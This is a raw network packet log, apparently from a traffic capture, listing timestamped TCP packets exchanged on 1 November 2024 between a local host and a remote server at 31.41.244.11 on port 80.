Nov 1, 2024 10:57:09.610200882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610214949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610223055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610234976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610249996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610260963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610265017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610280037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610289097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610316038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610320091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610332012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610347986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610369921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610388994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610408068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610424042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610450983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610480070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610493898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610538006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610639095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610655069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610670090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610685110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610687971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610707998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610742092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610768080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610796928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610810041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610817909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610841990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610858917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610872984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610888004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610912085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610941887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610941887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610941887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610949039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610966921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.611001015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.611022949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.611022949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.611031055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.611032009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.611047029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.611069918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.611078024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.611093998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.611107111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.611123085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.611155987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614130974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614144087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614172935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614195108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614207983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614212036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614236116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614248991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614291906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614306927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614321947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614336014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614336014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614357948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614386082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614434004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614449978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614464998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614484072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614486933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614502907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614504099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614518881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614536047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614537001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614550114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614563942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614590883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614619970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614749908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614774942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614789963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614800930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614825964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614835024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614877939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614912987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614928007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614942074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614959002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.614962101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.614986897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615004063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615015030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615020990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615056038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615061045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615071058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615087986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615093946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615123034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615135908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615149021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615151882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615170002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615179062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615197897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615216970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615286112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615309954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615331888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615336895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615348101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615356922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615381002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615401030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615402937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615418911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615433931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615447998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615472078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615493059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615614891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615628958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615643978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615658045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615669012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615680933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615695953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615706921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615710974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615717888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615736008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615751982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615752935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615767956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615777016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615786076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615801096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615813017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615817070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615833044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615849972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615849972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615864992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615875006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615881920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.615905046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.615931988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.749413013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749473095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749480963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749489069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749553919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749561071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749574900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749627113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.749675989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.749720097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749737978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749757051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749772072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.749784946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749805927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749810934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.749825954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749842882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.749850035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.749883890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750004053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750051975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750061035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750080109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750094891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750111103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750116110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750140905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750170946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750193119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750207901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750224113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750245094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750267029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750267982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750283957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750308037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750313044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750344992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750364065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750366926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750380993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750416040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750432014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750585079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750598907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750616074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750633001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750638962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750657082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750669003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750674963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750694990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750709057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750731945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750739098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750757933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750760078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750781059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750782013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750797987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750814915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750818968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750830889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750844955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750847101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750847101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750859976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750874996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750916004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750920057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750945091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750958920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.750977039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.750991106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751003027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751019001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751023054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751044989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751046896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751070023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751074076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751085043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751090050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751101971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751110077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751117945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751136065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751168013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751265049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751298904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751321077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751327038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751339912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751353025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751360893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751365900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751383066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751384974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751395941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751409054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751431942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751482964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751497984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751514912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751529932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751534939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751547098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751559973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751565933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751581907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751597881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751626968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751636028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751653910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751679897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751688004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751702070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751712084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751715899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751732111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751759052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751794100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751823902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751838923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751843929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751872063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751888990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751890898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751904964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.751936913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.751956940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752245903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752295017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752296925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752310991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752332926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752340078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752347946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752361059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752362013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752393961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752418995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752509117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752527952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752545118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752558947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752562046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752573967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752588987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752590895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752621889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752640009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752767086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752780914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752808094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752820015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752839088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752842903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752859116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752861023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752875090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.752885103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752904892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.752926111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753138065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753185987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753187895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753201962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753226995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753251076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753268957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753283978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753297091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753313065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753324986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753349066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753413916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753428936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753443003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.753462076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.753493071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.754841089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.754889965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.754893064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.754905939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.754931927 CET	49820	80	192.168.2.4	31.41.244.11
